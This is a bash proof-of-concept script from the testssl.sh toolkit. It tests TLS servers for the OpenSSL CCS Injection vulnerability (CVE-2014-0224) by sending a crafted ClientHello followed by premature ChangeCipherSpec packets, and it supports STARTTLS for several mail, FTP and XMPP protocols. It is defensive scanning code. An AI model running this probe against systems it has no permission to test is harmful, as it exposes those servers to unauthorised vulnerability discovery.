testssl.sh/utils/ccs-injection.bash

#!/usr/bin/env bash

# POC bash socket implementation of CCS Injection vulnerability in OpenSSL (CVE-2014-0224), 
# see https://www.openssl.org/news/secadv_20140605.txt
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt 
#
# sockets inspired by http://blog.chris007.de/?p=238
# mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607
# thx Ramon de C Valle
#
# handshakes from RFCs. Good source too:  https://github.com/ioerror/sslscan/blob/master/sslscan.c
#
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######

readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
trap "cleanup" QUIT EXIT

[ -z "$1" ] && exit 1

NODE="$1"
PORT="443"
JABBERNODE=${JABBERNODE}
SLEEP=2
MAXSLEEP=10
OCKREPLY=""
COL_WIDTH=32
DEBUG=${DEBUG:-0}
HELLO_READBYTES=${HELLO_READBYTES:-65535}

TLSV=${2:-01}
# TLS 1.0=x01  1.1=0x02, 1.2=0x3
# the PoC contains per default only check for TLS1.0 as the is the least common denominator

ccs_message="\x14\x03\x$TLSV\x00\x01\x01"

client_hello="
# TLS header ( 5 bytes)
,x16,               # Content type (x16 for handshake)
x03, x$TLSV,        # TLS Version
x00, x93,           # Length total
# Handshake header
x01,                # Type (x01 for ClientHello)
x00, x00, x8f,      # Length client hello
x03, x$TLSV,        # TLS Version
x53, x9c, xb2, xcb, # 4 bytes Unix time  see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
x4b, x42, xf9, x2d, x0b, xe5, x9c, x21, # 28 bytes random bytes
xf5, xa3, x89, xca, x7a, xd9, xb4, xab, 
x3f, xd3, x22, x21, x5e, xc4, x65, x0d, 
x1e, xce, xed, xc2,
x00,                # Session ID length
x00, x68,           # Cipher suites length
  xc0, x13,         # ciphers come now, here: ECDHE-RSA-AES128-SHA = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
  xc0, x12,
  xc0, x11,
  xc0, x10,
  xc0, x0f,
  xc0, x0e,
  xc0, x0d,
  xc0, x0c,
  xc0, x0b,
  xc0, x0a,
  xc0, x09,
  xc0, x08,
  xc0, x07,
  xc0, x06,
  xc0, x05,
  xc0, x04,
  xc0, x03,
  xc0, x02,
  xc0, x01,
  x00, x39,
  x00, x38,
  x00, x37,
  x00, x36,
  x00, x35,
  x00, x34,
  x00, x33,
  x00, x32,
  x00, x31,
  x00, x30,
  x00, x2f,
  x00, x16,
  x00, x15,
  x00, x14,
  x00, x13,
  x00, x12,
  x00, x11,
  x00, x10,
  x00, x0f,
  x00, x0e,
  x00, x0d,
  x00, x0c,
  x00, x0b,
  x00, x0a,
  x00, x09,
  x00, x08,
  x00, x07,
  x00, x06,
  x00, x05,
  x00, x04,
  x00, x03,
  x00, x02,
  x00, x01,  # TLS_RSA_WITH_NULL_MD5
  x01, x00"  # compression methods length (1) + Compression method(1)

#msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')


parse_hn_port() {
     # strip "https", supposed it was supplied additionally
     echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `

     # strip trailing urlpath
     NODE=`echo $NODE | sed -e 's/\/.*$//'`

     # determine port, supposed it was supplied additionally
     echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
     echo -e "\n===> connecting to $NODE:$PORT\n"
}

debugme() {
     [[ $DEBUG -ge 2 ]] && "$@"
}


wait_kill(){
     pid=$1
     maxsleep=$2
     while true; do
          if ! ps $pid >/dev/null ; then
               return 0  # didn't reach maxsleep yet
          fi
          sleep 1
          maxsleep=$((maxsleep - 1))
          test $maxsleep -eq 0 && break
     done # needs to be killed:
     kill $pid >&2 2>/dev/null
     wait $pid 2>/dev/null
     return 3   # killed
}


starttls_just_read(){
     echo "=== just read banner ==="
     cat <&5 &
     wait_kill $! $SLEEP
}


socksend() {
     data=`echo $1`
     echo "\"$data\""
     echo -en "$data" >&5 &
     sleep $SLEEP
}

sockread() {
     [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
     ret=0

     ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
     dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null &
     wait_kill $! $maxsleep
     ret=$?
     SOCKREPLY=$(cat $ddreply)
     rm $ddreply

     return $ret
}

# arg1: string to send
# arg2: possible success strings a egrep pattern, needed!
starttls_line0() {
     reply=$(mktemp /tmp/reply.XXXXXX) || return 7

     debugme echo -e "\n=== sending \"$1\" ..."
     echo -e "$1" >&5
     dd bs=1024 of=$reply count=32 <&5 2>/dev/null &
     wait_kill $! $SLEEP
     debugme echo "... received result: "
     cat $reply
     if [ -n "$2" ]; then
          if grep -Eq "$2" $reply; then
               debugme echo "---> reply matched \"$2\""
               [ $DEBUG -eq 0 ] && rm $reply
               return 0
          else
               debugme echo "---> reply didn't match \"$2\", see $reply"
               fixme "STARTTLS handshake problem"
               exit 1
          fi
     fi
}


starttls_line1() {
     echo "$1" >&5
     while true; do
          read line <&5
          echo $line
          break
     done
}

fixme(){
     tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
}


ok_ids() {
     echo
     tput bold; tput setaf 2; echo "ok -- something reset our ccs packets"; tput sgr0
     echo
     exit 0
}

fd_socket(){
     local jabber=""

     if ! exec 5<> /dev/tcp/$NODE/$PORT; then
          echo "`basename $0`: unable to connect to $NODE:$PORT"
          exit 2
     fi

     case "$1" in # port
          21)  # https://tools.ietf.org/html/rfc4217
               starttls_just_read
               starttls_line0 "FEAT" "211"
               #starttls_line0 HELP "214"
               starttls_line0 "AUTH TLS" "successful|234"
               ;;
          25)  # SMTP, see https://tools.ietf.org/html/rfc4217
               starttls_just_read
               starttls_line0 "EHLO testssl.sh" "220|250"
               starttls_line0 "STARTTLS" "220"
               ;;
          110) # POP, see https://tools.ietf.org/html/rfc2595
               starttls_just_read 
               starttls_line0 "STLS" "OK"
               ;;
          119|433) # NNTP, see https://tools.ietf.org/html/rfc4642
               starttls_just_read 
               starttls_line0 "CAPABILITIES" "101|200"
               starttls_line0 "STARTTLS" "382"
               ;;
          143) # IMAP, https://tools.ietf.org/html/rfc2595 
               starttls_just_read 
               starttls_line0 "a001 CAPABILITY" "OK"
               starttls_line0 "a002 STARTTLS" "OK"
               ;;
          389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
               fixme "LDAP: FIXME not yet implemented"
               exit 1
               ;;
          674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595
               fixme "ACAP: FIXME not yet implemented"
               exit 1
               ;;
          5222) # XMPP, see https://tools.ietf.org/html/rfc6120
               starttls_just_read
               # following would be without hostname, jabber.org doesn't need it, others do!
               #starttls_line0 "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' version='1.0'>\r\n"
               [ -z $JABBERNODE ] && JABBERNODE="$NODE"
               # as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname!
               # supply $JABBERNODE in ENV and you're set, like:     DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222
               jabber=$(cat <<EOF
<?xml version='1.0' ?>
<stream:stream 
xmlns:stream='http://etherx.jabber.org/streams' 
xmlns='jabber:client' 
to='$JABBERNODE'
xml:lang='en'
version='1.0'>
EOF
)
               starttls_line0 "$jabber"
               starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
               # BTW: https://xmpp.net !
               ;;
          443|995|993|465|*)  # we don't need a special pre-command here
               ;;
     esac      
     echo
}    


close_socket(){
     exec 5<&-
     exec 5>&-
     return 0
}

cleanup() {
     close_socket
}


#### main

parse_hn_port 
fd_socket $PORT


echo "##### sending standard client hello with TLS version 03,$TLSV:"
socksend "$msg" $TLSV
sleep 1

sockread $HELLO_READBYTES
echo "##### reading server hello ($HELLO_READBYTES bytes):"
if test $DEBUG ; then
     echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10
     echo "[...]"
     echo
fi
if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then
     tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0
     exit 1
fi


echo "##### sending ccs injection payload with TLS version 03,$TLSV (1)"
socksend "$ccs_message" $TLSV || ok_ids
sleep 1
echo "##### sending ccs injection payload with TLS version 03,$TLSV (2)"
socksend "$ccs_message" $TLSV || ok_ids
sleep 1

sockread 65534
echo
echo "###### reply: "
echo "============================="
echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20
echo "============================="
echo

reply_sanitized=$(echo -e "$SOCKREPLY" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//')
test $DEBUG || echo $reply_sanitized 

lines=$(echo -e "$SOCKREPLY" | xxd -c32 | wc -l)
test $DEBUG || echo $lines

if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then
     tput bold; tput setaf 2; echo "ok"; tput sgr0
     ret=0
else
     tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
     ret=1
fi


echo
exit $ret

#  vim:ts=5:sw=5:expandtab
#  $Id: ccs-injection.bash,v 1.9 2015/07/06 20:01:49 dirkw Exp $